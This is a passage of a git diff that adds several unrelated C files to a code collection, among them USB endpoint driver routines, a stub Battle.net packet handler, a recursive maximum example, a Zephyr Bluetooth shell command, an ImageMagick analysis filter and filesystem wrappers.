+                    bit0..bit6: endpoint number (0..7)
+                    bit7: endpoint direction which can be IN(1) or OUT(0)
+    \param[out] none
+    \retval     none
+*/
+void  usbd_ep_deinit (usbd_core_handle_struct *pudev, uint8_t ep_addr)
+{
+    uint8_t ep_num = ep_addr & 0x7F;
+
+    if (ep_addr >> 7) {
+        USBD_DTG_TX_CLEAR(ep_num);
+
+        /* configure the endpoint status as DISABLED */
+        USBD_ENDP_TX_STATUS_SET(ep_num, EPTX_DISABLED); 
+    } else {
+        USBD_DTG_RX_CLEAR(ep_num);
+
+        /* configure the endpoint status as DISABLED */
+        USBD_ENDP_RX_STATUS_SET(ep_num, EPRX_DISABLED);
+    }
+}
+
+/*!
+    \brief      endpoint prepare to receive data
+    \param[in]  pudev: pointer to usb core instance
+    \param[in]  ep_addr: endpoint address
+                  in this parameter:
+                    bit0..bit6: endpoint number (0..7)
+                    bit7: endpoint direction which can be IN(1) or OUT(0)
+    \param[in]  pbuf: user buffer address pointer
+    \param[in]  buf_len: buffer length
+    \param[out] none
+    \retval     none
+*/
+void  usbd_ep_rx (usbd_core_handle_struct *pudev, uint8_t ep_addr, uint8_t *pbuf, uint16_t buf_len)
+{
+    usb_ep_struct *ep;
+    uint8_t ep_num = ep_addr & 0x7FU;
+
+    ep = &pudev->out_ep[ep_num];
+
+    /* configure the transaction level parameters */
+    ep->trs_buf = pbuf;
+    ep->trs_len = buf_len;
+
+    /* enable endpoint to receive */
+    USBD_ENDP_RX_STATUS_SET(ep_num, EPRX_VALID);
+}
+
+/*!
+    \brief      endpoint prepare to transmit data
+    \param[in]  pudev: pointer to USB core instance
+    \param[in]  ep_addr: endpoint address
+                  in this parameter:
+                    bit0..bit6: endpoint number (0..7)
+                    bit7: endpoint direction which can be IN(1) or OUT(0)
+    \param[in]  pbuf: transmit buffer address pointer
+    \param[in]  buf_len: buffer length
+    \param[out] none
+    \retval     none
+*/
+void  usbd_ep_tx (usbd_core_handle_struct *pudev, uint8_t ep_addr, uint8_t *pbuf, uint16_t buf_len)
+{
+    __IO uint32_t len = 0U;
+    uint8_t ep_num = ep_addr & 0x7FU;
+    usb_ep_struct *ep = &pudev->in_ep[ep_num];
+
+    /* configure the transaction level parameters */
+    ep->trs_buf = pbuf;
+    ep->trs_len = buf_len;
+    ep->trs_count = 0U;
+
+    /* transmit length is more than one packet */
+    if (ep->trs_len > ep->maxpacket) {
+        len = ep->maxpacket;
+    } else {
+        len = ep->trs_len;
+    }
+
+    usbd_ep_data_write(ep->trs_buf, (pbuf_reg + ep_num)->tx_addr, (uint16_t)len);
+    (pbuf_reg + ep_num)->tx_count = (uint16_t)len;
+
+    /* enable endpoint to transmit */
+    USBD_ENDP_TX_STATUS_SET(ep_num, EPTX_VALID);
+}
+
+/*!
+    \brief      set an endpoint to stall status
+    \param[in]  pudev: pointer to usb core instance
+    \param[in]  ep_addr: endpoint address
+                  in this parameter:
+                    bit0..bit6: endpoint number (0..7)
+                    bit7: endpoint direction which can be IN(1) or OUT(0)
+    \param[out] none
+    \retval     none
+*/
+void  usbd_ep_stall (usbd_core_handle_struct *pudev, uint8_t ep_addr)
+{
+    uint8_t ep_num = ep_addr & 0x7FU;
+    usb_ep_struct *ep;
+
+    if (ep_addr >> 7U) {
+        ep = &pudev->in_ep[ep_num];
+
+        USBD_ENDP_TX_STATUS_SET(ep_num, EPTX_STALL);
+    } else {
+        ep = &pudev->out_ep[ep_num];
+
+        USBD_ENDP_RX_STATUS_SET(ep_num, EPRX_STALL);
+    }
+
+    ep->stall = 1U;
+
+    if (0U == ep_num) {
+        /* control endpoint need to be stalled in two directions */
+        USBD_ENDP_RX_TX_STATUS_SET(ep_num, EPRX_STALL, EPTX_STALL); 
+    }
+}
+
+/*!
+    \brief      clear endpoint stalled status
+    \param[in]  pudev: pointer to usb core instance
+    \param[in]  ep_addr: endpoint address
+                  in this parameter:
+                    bit0..bit6: endpoint number (0..7)
+                    bit7: endpoint direction which can be IN(1) or OUT(0)
+    \param[out] none
+    \retval     none
+*/
+void  usbd_ep_clear_stall (usbd_core_handle_struct *pudev, uint8_t ep_addr)
+{
+    uint8_t ep_num = ep_addr & 0x7FU;
+    usb_ep_struct *ep;
+
+    if (ep_addr >> 7U) {
+        ep = &pudev->in_ep[ep_num];
+
+        /* clear endpoint data toggle bit */
+        USBD_DTG_TX_CLEAR(ep_num);
+
+        /* clear endpoint stall status */
+        USBD_ENDP_TX_STATUS_SET(ep_num, EPTX_VALID);
+    } else {
+        ep = &pudev->out_ep[ep_num];
+
+        /* clear endpoint data toggle bit */
+        USBD_DTG_RX_CLEAR(ep_num);
+
+        /* clear endpoint stall status */
+        USBD_ENDP_RX_STATUS_SET(ep_num, EPRX_VALID);
+    }
+
+    ep->stall = 0U;
+}
+
+/*!
+    \brief      get the endpoint status
+    \param[in]  pudev: pointer to usb core instance
+    \param[in]  ep_addr: endpoint address
+                  in this parameter:
+                    bit0..bit6: endpoint number (0..7)
+                    bit7: endpoint direction which can be IN(1) or OUT(0)
+    \param[out] none
+    \retval     endpoint status
+*/
+uint8_t  usbd_ep_status_get (usbd_core_handle_struct *pudev, uint8_t ep_addr)
+{
+    if (ep_addr >> 7U) {
+        return (uint8_t)USBD_ENDP_TX_STATUS_GET((ep_addr & 0x7FU));
+    } else {
+        return (uint8_t)USBD_ENDP_RX_STATUS_GET(ep_addr);
+    }
+}
+
+/*!
+    \brief      write datas from user fifo to USBRAM
+    \param[in]  user_fifo: pointer to user fifo
+    \param[in]  usbram_addr: the allocation buffer address of the endpoint
+    \param[in]  bytes: the bytes count of the write datas
+    \param[out] none
+    \retval     none
+*/
+void  usbd_ep_data_write(uint8_t *user_fifo, uint16_t usbram_addr, uint16_t bytes)
+{
+    uint32_t n;
+    uint32_t *write_addr = (uint32_t *)((uint32_t)(usbram_addr * 2U + USBD_RAM));
+
+    for (n = 0U; n < (bytes + 1U) / 2U; n++) {
+        *write_addr++ = *((__packed uint16_t*)user_fifo);
+        user_fifo += 2U;
+    }
+}
+
+/*!
+    \brief      read datas from USBRAM to user fifo
+    \param[in]  user_fifo: pointer to user fifo
+    \param[in]  usbram_addr: the allocation buffer address of the endpoint
+    \param[in]  bytes: the bytes count of the read datas
+    \param[out] none
+    \retval     none
+*/
+void  usbd_ep_data_read(uint8_t *user_fifo, uint16_t usbram_addr, uint16_t bytes)
+{
+    uint32_t n;
+    uint32_t *read_addr = (uint32_t *)((uint32_t)(usbram_addr * 2U + USBD_RAM));
+
+    for (n = 0U; n < (bytes + 1U) / 2U; n++) {
+        *((__packed uint16_t*)user_fifo) = (uint16_t)*read_addr++;
+        user_fifo += 2U;
+    }
+}
+
+/*!
+    \brief      get the received data length
+    \param[in]  pudev: pointer to USB core instance
+    \param[in]  ep_num: endpoint identifier which is in (0..7)
+    \param[out] none
+    \retval     received data length
+*/
+uint16_t  usbd_rx_count_get (usbd_core_handle_struct *pudev, uint8_t ep_num)
+{
+    return (uint16_t)pudev->out_ep[ep_num].trs_count;
+}
diff --git a/pool/shard001/C/0023420_sid_switchproduct.c b/pool/shard001/C/0023420_sid_switchproduct.c
new file mode 100644
index 0000000000000000000000000000000000000000..562c4c9d1596498901a3bb8f58e248a65db7f84e
--- /dev/null
+++ b/pool/shard001/C/0023420_sid_switchproduct.c
@@ -0,0 +1,64 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <Eina.h>
+
+#include "net.h"
+#include "protocol.h"
+#include "packet.h"
+#include "sql.h"
+
+/*
+ * Packet ID: 0x5C
+ * Packet Name: sid_switchproduct
+ *
+ * Direction: Client to Server
+ * Used By: Diablo II, Diablo II Lord of Destruction
+ *
+ * Format : 
+ * (DWORD) Product ID
+ * 
+ * Remarks : 
+ * When logging onto WAR3, while having W3XP installed on your system; the client
+ * sends two CDKey hashes in SID_AUTH_CHECK and uses 'W3XP' as the Product Id in
+ * SID_AUTH_INFO. After a successful SID_AUTH_CHECK, the client then sends this
+ * packet with the Product ID set to 'WAR3' to make the switch from expansion to
+ * non-expansion.
+ *
+ */
+struct request {
+  uint32_t product_id;
+} __attribute__((packed));
+
+/*
+ *
+ *
+ * In order to enable the packet manager to manage this request handler,
+ * you have to put the following line in the protocol.c file.
+ *
+ * PROTOCOL_REGISTER(PROTOCOL_BNETD, 0x5C, packet_bnetd_sid_switchproduct);
+ *
+ */
+void packet_bnetd_sid_switchproduct(struct connection *conn, struct packet *request) {
+  struct packet *response = NULL;
+  struct request packet;
+
+  memset(&packet, 0, sizeof(packet));
+  packet.product_id = packet_get_int(request, ENDIAN_LITTLE);
+
+
+
+  // create the response packet.
+  response = packet_new(PROTOCOL_BNETD);
+  if (!response) {
+    return;
+  }
+
+  // set response message id.
+  packet_message_id_set(response, 0x5C);
+
+  // YOU NEED TO REMOVE THIS LINE FOR THE PACKET TO BE ENABLED.
+  EINA_LOG_CRIT("packet_bnetd_sid_switchproduct not yet implemented."); packet_free(response); return;
+
+  net_connection_response_append(conn, response);
+}
diff --git a/pool/shard001/C/0023437_MaxRecursivo.c b/pool/shard001/C/0023437_MaxRecursivo.c
new file mode 100644
index 0000000000000000000000000000000000000000..41c391a200e22742bb4da3934f5223133cd8b510
--- /dev/null
+++ b/pool/shard001/C/0023437_MaxRecursivo.c
@@ -0,0 +1,90 @@
+/*
+* Exemplos de funções para achar maior número de um vetor
+* As 3 são recursivas porém apenas a MaxDC utiliza divisão e conquista
+* Kelvin Salton do Prado - 2015
+*/
+
+#include <stdio.h>
+#include <stdlib.h>
+
+#define MAX 10
+
+// Maximo usando Divisão e Conquista
+int MaxDC(int *vetor, int inicio, int fim)
+{
+    int aux1, aux2;
+    int meio = ( inicio + fim ) / 2;
+
+    if( inicio == fim )
+    {
+        return vetor[inicio];
+    }
+
+    aux1 = MaxDC(vetor, inicio, meio);
+    aux2 = MaxDC(vetor, meio+1, fim);
+
+    if( aux1 > aux2 )
+    {
+        return aux1;
+    }
+    else
+    {
+        return aux2;
+    }
+}
+
+void max1(int *vetor, int maximo, int indice)
+{
+    if( vetor[indice] > maximo )
+    {
+        maximo = vetor[indice];
+    }
+
+    if( indice < MAX-1 )
+    {
+        max1(vetor, maximo, indice+1);
+    }
+    else
+    {
+        printf("\n\nMax1: %d\n",maximo);
+    }
+}
+
+int max2(int vetor[], int tamVetor)
+{
+    if (tamVetor == 1)
+    {
+        return vetor[0]; // só tem 1 elemento
+    }
+    else
+    {
+        int x = max2(vetor, tamVetor-1);
+
+        if (x > vetor[tamVetor-1])
+        {
+            return x;
+        }
+        else
+        {
+            return vetor[tamVetor-1];
+        }
+    }
+}
+
+int main()
+{
+    int vetor[MAX];
+
+    for (int i = 0; i < MAX; ++i)
+    {
+        vetor[i] = (rand() % 90) + 10; // 10 a 99
+        printf("%d, ", vetor[i]);
+    }
+
+    max1(vetor, vetor[0], 1);
+
+    printf("\nMax2: %d\n", max2(vetor, MAX) );
+    printf("\nMaxDC: %d\n\n", MaxDC(vetor, 0, MAX-1) );
+
+    return 0;
+}
diff --git a/pool/shard001/C/0023440_ticker.c b/pool/shard001/C/0023440_ticker.c
new file mode 100644
index 0000000000000000000000000000000000000000..579634e439e30d66f9fae7be2a150bf19d4aebb6
--- /dev/null
+++ b/pool/shard001/C/0023440_ticker.c
@@ -0,0 +1,145 @@
+/** @file
+ * @brief Bluetooth Controller Ticker functions
+ *
+ */
+
+/*
+ * Copyright (c) 2017-2018 Nordic Semiconductor ASA
+ *
+ * SPDX-License-Identifier: Apache-2.0
+ */
+
+#include <zephyr.h>
+
+#include <bluetooth/bluetooth.h>
+#include <bluetooth/conn.h>
+
+#include <shell/shell.h>
+
+#include "../controller/util/memq.h"
+#include "../controller/util/mayfly.h"
+#include "../controller/hal/ticker.h"
+#include "../controller/ticker/ticker.h"
+
+#if defined(CONFIG_BT_MAX_CONN)
+#define TICKERS_MAX (CONFIG_BT_MAX_CONN + 2)
+#else
+#define TICKERS_MAX 2
+#endif
+
+#include "bt.h"
+
+static void ticker_op_done(u32_t err, void *context)
+{
+	*((u32_t volatile *)context) = err;
+}
+
+int cmd_ticker_info(const struct shell *shell, size_t argc, char *argv[])
+{
+	struct {
+		u8_t id;
+		u32_t ticks_to_expire;
+	} tickers[TICKERS_MAX];
+	u32_t ticks_to_expire;
+	u32_t ticks_current;
+	u8_t tickers_count;
+	u8_t ticker_id;
+	u8_t retry;
+	u8_t i;
+
+	ticker_id = TICKER_NULL;
+	ticks_to_expire = 0U;
+	ticks_current = 0U;
+	tickers_count = 0U;
+	retry = 4U;
+	do {
+		u32_t volatile err_cb = TICKER_STATUS_BUSY;
+		u32_t ticks_previous;
+		u32_t err;
+
+		ticks_previous = ticks_current;
+
+		err = ticker_next_slot_get(0, MAYFLY_CALL_ID_PROGRAM,
+					   &ticker_id, &ticks_current,
+					   &ticks_to_expire,
+					   ticker_op_done, (void *)&err_cb);
+		if (err == TICKER_STATUS_BUSY) {
+			while (err_cb == TICKER_STATUS_BUSY) {
+				ticker_job_sched(0, MAYFLY_CALL_ID_PROGRAM);
+			}
+		}
+
+		if ((err_cb != TICKER_STATUS_SUCCESS) ||
+		    (ticker_id == TICKER_NULL)) {
+			shell_print(shell, "Query done (0x%02x, err= %u).",
+				    ticker_id, err);
+
+			break;
+		}
+
+		if (ticks_current != ticks_previous) {
+			retry--;
+			if (!retry) {
+				shell_print(shell, "Retry again, tickers too "
+					    "busy now.");
+
+				return -EAGAIN;
+			}
+
+			if (tickers_count) {
+				tickers_count = 0U;
+
+				shell_print(shell, "Query reset, %u retries "
+					    "remaining.", retry);
+			}
+		}
+
+		tickers[tickers_count].id = ticker_id;
+		tickers[tickers_count].ticks_to_expire = ticks_to_expire;
+		tickers_count++;
+
+	} while (tickers_count < TICKERS_MAX);
+
+	shell_print(shell, "Tickers: %u.", tickers_count);
+	shell_print(shell, "Tick: %u (%uus).", ticks_current,
+	       HAL_TICKER_TICKS_TO_US(ticks_current));
+
+	if (!tickers_count) {
+		return 0;
+	}
+
+	shell_print(shell, "---------------------");
+	shell_print(shell, " id   offset   offset");
+	shell_print(shell, "      (tick)     (us)");
+	shell_print(shell, "---------------------");
+	for (i = 0U; i < tickers_count; i++) {
+		shell_print(shell, "%03u %08u %08u", tickers[i].id,
+		       tickers[i].ticks_to_expire,
+		       HAL_TICKER_TICKS_TO_US(tickers[i].ticks_to_expire));
+	}
+	shell_print(shell, "---------------------");
+
+	return 0;
+}
+
+#define HELP_NONE "[none]"
+
+SHELL_STATIC_SUBCMD_SET_CREATE(ticker_cmds,
+	SHELL_CMD_ARG(info, NULL, HELP_NONE, cmd_ticker_info, 1, 0),
+	SHELL_SUBCMD_SET_END
+);
+
+static int cmd_ticker(const struct shell *shell, size_t argc, char **argv)
+{
+	if (argc == 1) {
+		shell_help(shell);
+		/* shell returns 1 when help is printed */
+		return 1;
+	}
+
+	shell_error(shell, "%s:%s%s", argv[0], "unknown parameter: ", argv[1]);
+	return -ENOEXEC;
+}
+
+SHELL_CMD_ARG_REGISTER(ticker, &ticker_cmds, "Bluetooth Ticker shell commands",
+		       cmd_ticker, 1, 1);
diff --git a/pool/shard001/C/0023455_utils.c b/pool/shard001/C/0023455_utils.c
new file mode 100644
index 0000000000000000000000000000000000000000..929f324aa070c990219ad9d021ad9a95512359b9
--- /dev/null
+++ b/pool/shard001/C/0023455_utils.c
@@ -0,0 +1,14 @@
+#ifndef UTILS_H
+#include <cuckoofilter/utils.h>
+#endif
+
+unsigned int int_str_length(unsigned int integer, unsigned int base) {
+    unsigned int length = 0;
+    GET_LENGTH_OF_NUMBER(integer, base, length);
+    return length;
+}
+unsigned int sizet_str_length(size_t size, unsigned int base) {
+    unsigned int length = 0;
+    GET_LENGTH_OF_NUMBER(size, base, length);
+    return length;
+}
\ No newline at end of file
diff --git a/pool/shard001/C/0023458_analyze.c b/pool/shard001/C/0023458_analyze.c
new file mode 100644
index 0000000000000000000000000000000000000000..162ba8034468ed102d1f480033cde4ceacb7b959
--- /dev/null
+++ b/pool/shard001/C/0023458_analyze.c
@@ -0,0 +1,246 @@
+/*
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+%                                                                             %
+%                                                                             %
+%                AAA   N   N   AAA   L      Y   Y  ZZZZZ  EEEEE               %
+%               A   A  NN  N  A   A  L       Y Y      ZZ  E                   %
+%               AAAAA  N N N  AAAAA  L        Y     ZZZ   EEE                 %
+%               A   A  N  NN  A   A  L        Y    ZZ     E                   %
+%               A   A  N   N  A   A  LLLLL    Y    ZZZZZ  EEEEE               %
+%                                                                             %
+%                             Analyze An Image                                %
+%                                                                             %
+%                             Software Design                                 %
+%                               Bill Corbis                                   %
+%                              December 1998                                  %
+%                                                                             %
+%                                                                             %
+%  Copyright 1999-2015 ImageMagick Studio LLC, a non-profit organization      %
+%  dedicated to making software imaging solutions freely available.           %
+%                                                                             %
+%  You may not use this file except in compliance with the License.  You may  %
+%  obtain a copy of the License at                                            %
+%                                                                             %
+%    http://www.imagemagick.org/script/license.php                            %
+%                                                                             %
+%  Unless required by applicable law or agreed to in writing, software        %
+%  distributed under the License is distributed on an "AS IS" BASIS,          %
+%  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.   %
+%  See the License for the specific language governing permissions and        %
+%  limitations under the License.                                             %
+%                                                                             %
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+%
+*/
+
+/*
+  Include declarations.
+*/
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <time.h>
+#include <assert.h>
+#include <math.h>
+#include "MagickCore/MagickCore.h"
+
+/*
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+%                                                                             %
+%                                                                             %
+%                                                                             %
+%   a n a l y z e I m a g e                                                   %
+%                                                                             %
+%                                                                             %
+%                                                                             %
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+%
+%  analyzeImage() computes the brightness and saturation mean,  standard
+%  deviation, kurtosis and skewness and stores these values as attributes 
+%  of the image.
+%
+%  The format of the analyzeImage method is:
+%
+%      size_t analyzeImage(Image *images,const int argc,
+%        char **argv,ExceptionInfo *exception)
+%
+%  A description of each parameter follows:
+%
+%    o image: the address of a structure of type Image.
+%
+%    o argc: Specifies a pointer to an integer describing the number of
+%      elements in the argument vector.
+%
+%    o argv: Specifies a pointer to a text array containing the command line
+%      arguments.
+%
+%    o exception: return any errors or warnings in this structure.
+%
+*/
+ModuleExport size_t analyzeImage(Image **images,const int argc,
+  const char **argv,ExceptionInfo *exception)
+{
+  char
+    text[MagickPathExtent];
+
+  double
+    area,
+    brightness,
+    brightness_mean,
+    brightness_standard_deviation,
+    brightness_kurtosis,
+    brightness_skewness,
+    brightness_sum_x,
+    brightness_sum_x2,
+    brightness_sum_x3,
+    brightness_sum_x4,
+    hue,
+    saturation,
+    saturation_mean,
+    saturation_standard_deviation,
+    saturation_kurtosis,
+    saturation_skewness,
+    saturation_sum_x,
+    saturation_sum_x2,
+    saturation_sum_x3,
+    saturation_sum_x4;
+
+  Image
+    *image;
+
+  assert(images != (Image **) NULL);
+  assert(*images != (Image *) NULL);
+  assert((*images)->signature == MagickCoreSignature);
+  (void) argc;
+  (void) argv;
+  image=(*images);
+  for ( ; image != (Image *) NULL; image=GetNextImageInList(image))
+  {
+    CacheView
+      *image_view;
+
+    ssize_t
+      y;
+
+    MagickBooleanType
+      status;
+
+    brightness_sum_x=0.0;
+    brightness_sum_x2=0.0;
+    brightness_sum_x3=0.0;
+    brightness_sum_x4=0.0;
+    brightness_mean=0.0;
+    brightness_standard_deviation=0.0;
+    brightness_kurtosis=0.0;
+    brightness_skewness=0.0;
+    saturation_sum_x=0.0;
+    saturation_sum_x2=0.0;
+    saturation_sum_x3=0.0;
+    saturation_sum_x4=0.0;
+    saturation_mean=0.0;
+    saturation_standard_deviation=0.0;
+    saturation_kurtosis=0.0;
+    saturation_skewness=0.0;
+    area=0.0;
+    status=MagickTrue;
+    image_view=AcquireVirtualCacheView(image,exception);
+#if defined(MAGICKCORE_OPENMP_SUPPORT)
+    #pragma omp parallel for schedule(static,4) shared(status) \
+      magick_threads(image,image,image->rows,1)
+#endif
+    for (y=0; y < (ssize_t) image->rows; y++)
+    {
+      register const Quantum
+        *p;
+
+      register ssize_t
+        x;
+
+      if (status == MagickFalse)
+        continue;
+      p=GetCacheViewVirtualPixels(image_view,0,y,image->columns,1,exception);
+      if (p == (const Quantum *) NULL)
+        {
+          status=MagickFalse;
+          continue;
+        }
+      for (x=0; x < (ssize_t) image->columns; x++)
+      {
+        ConvertRGBToHSL(GetPixelRed(image,p),GetPixelGreen(image,p),
+          GetPixelBlue(image,p),&hue,&saturation,&brightness);
+        brightness*=QuantumRange;
+        brightness_sum_x+=brightness;
+        brightness_sum_x2+=brightness*brightness;
+        brightness_sum_x3+=brightness*brightness*brightness;
+        brightness_sum_x4+=brightness*brightness*brightness*brightness;
+        saturation*=QuantumRange;
+        saturation_sum_x+=saturation;
+        saturation_sum_x2+=saturation*saturation;
+        saturation_sum_x3+=saturation*saturation*saturation;
+        saturation_sum_x4+=saturation*saturation*saturation*saturation;
+        area++;
+        p+=GetPixelChannels(image);
+      }
+    }
+    image_view=DestroyCacheView(image_view);
+    if (area <= 0.0)
+      break;
+    brightness_mean=brightness_sum_x/area;
+    (void) FormatLocaleString(text,MagickPathExtent,"%g",brightness_mean);
+    (void) SetImageProperty(image,"filter:brightness:mean",text,
+      exception);
+    brightness_standard_deviation=sqrt(brightness_sum_x2/area-(brightness_sum_x/
+      area*brightness_sum_x/area));
+    (void) FormatLocaleString(text,MagickPathExtent,"%g",
+      brightness_standard_deviation);
+    (void) SetImageProperty(image,"filter:brightness:standard-deviation",text,
+      exception);
+    if (fabs(brightness_standard_deviation) >= MagickEpsilon)
+      brightness_kurtosis=(brightness_sum_x4/area-4.0*brightness_mean*
+        brightness_sum_x3/area+6.0*brightness_mean*brightness_mean*
+        brightness_sum_x2/area-3.0*brightness_mean*brightness_mean*
+        brightness_mean*brightness_mean)/(brightness_standard_deviation*
+        brightness_standard_deviation*brightness_standard_deviation*
+        brightness_standard_deviation)-3.0;
+    (void) FormatLocaleString(text,MagickPathExtent,"%g",brightness_kurtosis);
+    (void) SetImageProperty(image,"filter:brightness:kurtosis",text,
+      exception);
+    if (brightness_standard_deviation != 0)
+      brightness_skewness=(brightness_sum_x3/area-3.0*brightness_mean*
+        brightness_sum_x2/area+2.0*brightness_mean*brightness_mean*
+        brightness_mean)/(brightness_standard_deviation*
+        brightness_standard_deviation*brightness_standard_deviation);
+    (void) FormatLocaleString(text,MagickPathExtent,"%g",brightness_skewness);
+    (void) SetImageProperty(image,"filter:brightness:skewness",text,
+      exception);
+    saturation_mean=saturation_sum_x/area;
+    (void) FormatLocaleString(text,MagickPathExtent,"%g",saturation_mean);
+    (void) SetImageProperty(image,"filter:saturation:mean",text,
+      exception);
+    saturation_standard_deviation=sqrt(saturation_sum_x2/area-(saturation_sum_x/
+      area*saturation_sum_x/area));
+    (void) FormatLocaleString(text,MagickPathExtent,"%g",
+      saturation_standard_deviation);
+    (void) SetImageProperty(image,"filter:saturation:standard-deviation",text,
+      exception);
+    if (fabs(saturation_standard_deviation) >= MagickEpsilon)
+      saturation_kurtosis=(saturation_sum_x4/area-4.0*saturation_mean*
+        saturation_sum_x3/area+6.0*saturation_mean*saturation_mean*
+        saturation_sum_x2/area-3.0*saturation_mean*saturation_mean*
+        saturation_mean*saturation_mean)/(saturation_standard_deviation*
+        saturation_standard_deviation*saturation_standard_deviation*
+        saturation_standard_deviation)-3.0;
+    (void) FormatLocaleString(text,MagickPathExtent,"%g",saturation_kurtosis);
+    (void) SetImageProperty(image,"filter:saturation:kurtosis",text,
+      exception);
+    if (fabs(saturation_standard_deviation) >= MagickEpsilon)
+      saturation_skewness=(saturation_sum_x3/area-3.0*saturation_mean*
+        saturation_sum_x2/area+2.0*saturation_mean*saturation_mean*
+        saturation_mean)/(saturation_standard_deviation*
+        saturation_standard_deviation*saturation_standard_deviation);
+    (void) FormatLocaleString(text,MagickPathExtent,"%g",saturation_skewness);
+    (void) SetImageProperty(image,"filter:saturation:skewness",text,
+      exception);
+  }
+  return(MagickImageFilterSignature);
+}
diff --git a/pool/shard001/C/0023460_cruise_wrap.c b/pool/shard001/C/0023460_cruise_wrap.c
new file mode 100644
index 0000000000000000000000000000000000000000..917c720d6f9c97ddce785ce43d61f2ec812fea76
--- /dev/null
+++ b/pool/shard001/C/0023460_cruise_wrap.c
@@ -0,0 +1,136 @@
+#include <stdint.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <string.h>
+#include <limits.h>
+#include <errno.h>
+#include <inttypes.h>
+#include <pthread.h>
+
+#include "cruise.h"
+#include "cruise-internal.h"
+
+static char* backend = NULL;
+
+void usfs_init(const char* mount_path, const char* backend_path)
+{
+	cruise_mount(backend_path, 1024 * 1024, 0);
+	backend = strdup(backend_path);
+}
+
+int usfs_open(const char* path, int flags, mode_t mode, uint64_t* ret_fh)
+{
+	int ret = 0;
+	char path_to_open[PATH_MAX];
+	snprintf(path_to_open, PATH_MAX, "%s/%s", backend, path);
+	//printf("OPEN: %s %o %o\n", path_to_open, flags, mode);
+	int fd = CRUISE_WRAP(open)(path_to_open, flags, mode);
+	if (fd >= 0) {
+		*ret_fh = (uint64_t)fd;
+	} else {
+		ret = errno;
+	}
+	return ret;
+}
+
+int usfs_read(uint64_t fh, char *buf, size_t size, off_t offset, size_t* bytes_read)
+{
+	int ret = CRUISE_WRAP(pread)((int)fh, buf, size, offset);
+	if(-1 == ret) {
+		ret = errno;
+		*bytes_read = 0;
+	} else {
+		*bytes_read = ret;
+		ret = 0;
+	}
+	return ret;
+}
+
+int usfs_write(uint64_t fh, const char *buf, size_t size, off_t offset, size_t* bytes_written)
+{
+	int ret = CRUISE_WRAP(pwrite)((int)fh, buf, size, offset);
+	if(-1 == ret) {
+		ret = errno;
+		*bytes_written = 0;
+	} else {
+		*bytes_written = ret;
+		ret = 0;
+	}
+	return ret;
+}
+
+int usfs_fsync(uint64_t fh, int data_sync)
+{
+	int ret = 0;
+	if(!data_sync) {
+		ret = CRUISE_WRAP(fsync)((int)fh);
+    } else {
+		ret = CRUISE_WRAP(fdatasync)((int)fh);
+	}
+	if(-1 == ret) {
+		ret = errno;
+	}
+	return ret;
+}
+
+int usfs_truncate(const char* path, off_t length)
+{
+	int ret = 0;
+	char path_to_truncate[PATH_MAX];
+	snprintf(path_to_truncate, PATH_MAX, "%s/%s", backend, path);
+	ret = CRUISE_WRAP(truncate)(path_to_truncate, length);
+	if(-1 == ret) {
+		ret = errno;
+	}
+	return ret;
+}
+
+int usfs_ftruncate(uint64_t fh, off_t offset)
+{
+	int ret = CRUISE_WRAP(ftruncate)((int)fh, offset);
+	if(-1 == ret) {
+		ret = errno;
+	}
+	return ret;
+}
+
+int usfs_fgetattr(uint64_t fh, struct stat *stbuf)
+{
+	int ret = CRUISE_WRAP(stat)((int)fh, stbuf);
+	if(-1 == ret) {
+		ret = errno;
+	}
+	return ret;
+}
+
+int usfs_getattr(const char* path, struct stat *stbuf, int flags)
+{
+	int ret = 0;
+	char path_to_stat[PATH_MAX];
+	snprintf(path_to_stat, PATH_MAX, "%s/%s", backend, path);
+	ret = CRUISE_WRAP(stat)(path_to_stat, stbuf);
+	if(-1 == ret) {
+		ret = errno;
+	}
+	return ret;
+}
+
+int usfs_unlink(const char* path)
+{
+	int ret =0;
+	char path_to_unlink[PATH_MAX];
+	snprintf(path_to_unlink, PATH_MAX, "%s/%s", backend, path);
+	ret = CRUISE_WRAP(unlink)(path_to_unlink);
+	if(-1 == ret) {
+		ret = errno;
+	}
+	return ret;
+}
+
+int usfs_close(uint64_t fh)
+{
+	return CRUISE_WRAP(close)((int)fh);
+}
diff --git a/pool/shard001/C/0023464_gcc-ar.c b/pool/shard001/C/0023464_gcc-ar.c
new file mode 100644
index 0000000000000000000000000000000000000000..aebaa92bf1d3f62cfe591e4e2ed3ceb161709f3d
--- /dev/null
+++ b/pool/shard001/C/0023464_gcc-ar.c
@@ -0,0 +1,199 @@
+/* Wrapper for ar/ranlib/nm to pass the LTO plugin.
+   Copyright (C) 2011-2014 Free Software Foundation, Inc.
+   Contributed by Andi Kleen.
+
+This file is part of GCC.
+
+GCC is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation; either version 3, or (at your option) any later
+version.
+
+GCC is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+for more details.
+
+You should have received a copy of the GNU General Public License
+along with GCC; see the file COPYING3.  If not see
+<http://www.gnu.org/licenses/>.  */
+
+#include "config.h"
+#include "system.h"
+#include "libiberty.h"
+#include "file-find.h"
+
+#ifndef PERSONALITY
+#error "Please set personality"
+#endif
+
+/* The exec prefix as derived at compile-time from --prefix.  */
+
+static const char standard_exec_prefix[] = STANDARD_EXEC_PREFIX;
+
+/* The libexec prefix as derived at compile-time from --prefix.  */
+
+static const char standard_libexec_prefix[] = STANDARD_LIBEXEC_PREFIX;
+
+/* The bindir prefix as derived at compile-time from --prefix.  */
+
+static const char standard_bin_prefix[] = STANDARD_BINDIR_PREFIX;
+
